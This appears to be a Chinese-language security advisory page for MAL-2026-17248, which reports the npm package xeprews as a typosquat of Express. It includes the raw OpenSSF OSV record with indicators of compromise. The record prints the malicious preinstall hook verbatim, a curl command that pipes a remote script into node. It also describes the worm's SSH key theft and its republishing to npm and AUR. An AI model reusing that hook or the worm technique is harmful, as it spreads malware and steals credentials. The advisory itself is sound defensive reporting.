目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

xeprews

MAL-2026-17248
2026-10-05 22:46:47
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in xeprews (npm)

安装阶段执行文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
174
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmxeprews5.2.1
npmxeprews5.2.2
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"schema_version":"1.7.4","id":"MAL-2026-17248","published":"2026-09-29T07:12:49Z","modified":"2026-10-05T22:46:47.087215382Z","summary":"Malicious code in xeprews (npm)","details":"The package xeprews impersonates the legitimate 'express' package (it republishes express's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 5.2.1 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email s7dwzxru4z@ooynib.com), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd.\n\nOn Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named \"Font Rendering Service\" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the key owner maintains. For each package.json on disk, it adds the same preinstall script, runs npm version patch, and runs npm publish with each .npmrc it finds.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (17facf9b3612b1338fbda61069db829317150a9e7dbcc38cf96abbee1baa29b2)\nxeprews is an Express typosquat whose package.json declares a preinstall lifecycle hook that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, fetching a JavaScript file from a third-party mutable branch (no commit pin, no integrity check) and executing it under Node on the installer's machine at `npm install` time. The package impersonates expressjs/express by copying its author, repository, homepage, and description metadata, and ships only a stub index.js that re-exports './lib/express'; the impersonation is the lure that induces the install and thereby the remote code execution. Whoever controls the codeberg branch (or the archive.org replay of it) controls arbitrary code execution on every installer.\n","affected":[{"package":{"name":"xeprews","ecosystem":"npm"},"versions":["5.2.1","5.2.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"4c2a000aa786ae63605c3b66e8e3366d91f3220c8bcce7915ad438be535f24ca","tlsh":"6951da21cc0e8c6326c5a2dd3c68a542616188078e41f81cf769539c8f8e56f71b9fbf"}],"package_integrity":[{"filename":"xeprews-5.2.1.tgz","hashes":{"sha1":"3278b86e26ecbe57a6a5a5216b8ed4655d4b21dd","sha512_sri":"sha512-LvmzJ/7aoujfXcp+LCjYs+DCani42ox+4gyaGrd0I2BLACD630Jx8mbgypRzIQB0UICgwGMdlyg0ENLqTwUXbw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/xeprews/v/5.2.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/xeprews"},{"type":"REPORT","url":"https://safedep.io/dirtyblanket-express-impersonation-npm/"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/xeprews/v/5.2.2"}],"database_specific":{"iocs":{"files":[{"note":"preinstall script pipes the web.archive.org copy of node.js into node.","paths":["package.json"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577"},"note":"Stage two Bash worm, piped from curl into bash.","paths":["linux.sh"],"source":"IN_MEMORY"},{"digests":{"sha256":"2c9dbc14809f1e1aebda114194368b002acf74c8760b88fc101f625d179793c2"},"note":"systemd-fontd, a stripped Go ELF x86-64 binary run as the \"Font Rendering Service\" systemd service. First path as root, second path without root.","paths":["/usr/lib/systemd/systemd-fontrenderd","~/.config/systemd/systemd-fontcached"],"source":"DROPPED"}],"urls":["https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js","https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js","https://codeberg.org/hellscripter/install-scripts/raw/branch/main/linux.sh","https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/systemd-fontd"]},"malicious-packages-origins":[{"id":"IN-MAL-2026-020630","import_time":"2026-09-29T14:44:37.282975363Z","modified_time":"2026-09-29T14:40:06Z","sha256":"17facf9b3612b1338fbda61069db829317150a9e7dbcc38cf96abbee1baa29b2","source":"amazon-inspector","versions":["5.2.1"]},{"id":"IN-MAL-2026-020948","import_time":"2026-10-04T23:40:44.971232367Z","modified_time":"2026-10-04T23:24:32Z","sha256":"c8745a706472aa4a6640d7fa4db8a0cb042dd7995258560f22093f93840dcc92","source":"amazon-inspector","versions":["5.2.2"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"InvisiRisk, Inc.","contact":["https://www.invisirisk.com","mailto:research@invisirisk.com"],"type":"FINDER"},{"name":"Pranesh, InvisiRisk","type":"FINDER"},{"name":"SafeDep","contact":["https://safedep.io"],"type":"FINDER"}]}

数据来源:OpenSSF Malicious Packages · Apache-2.0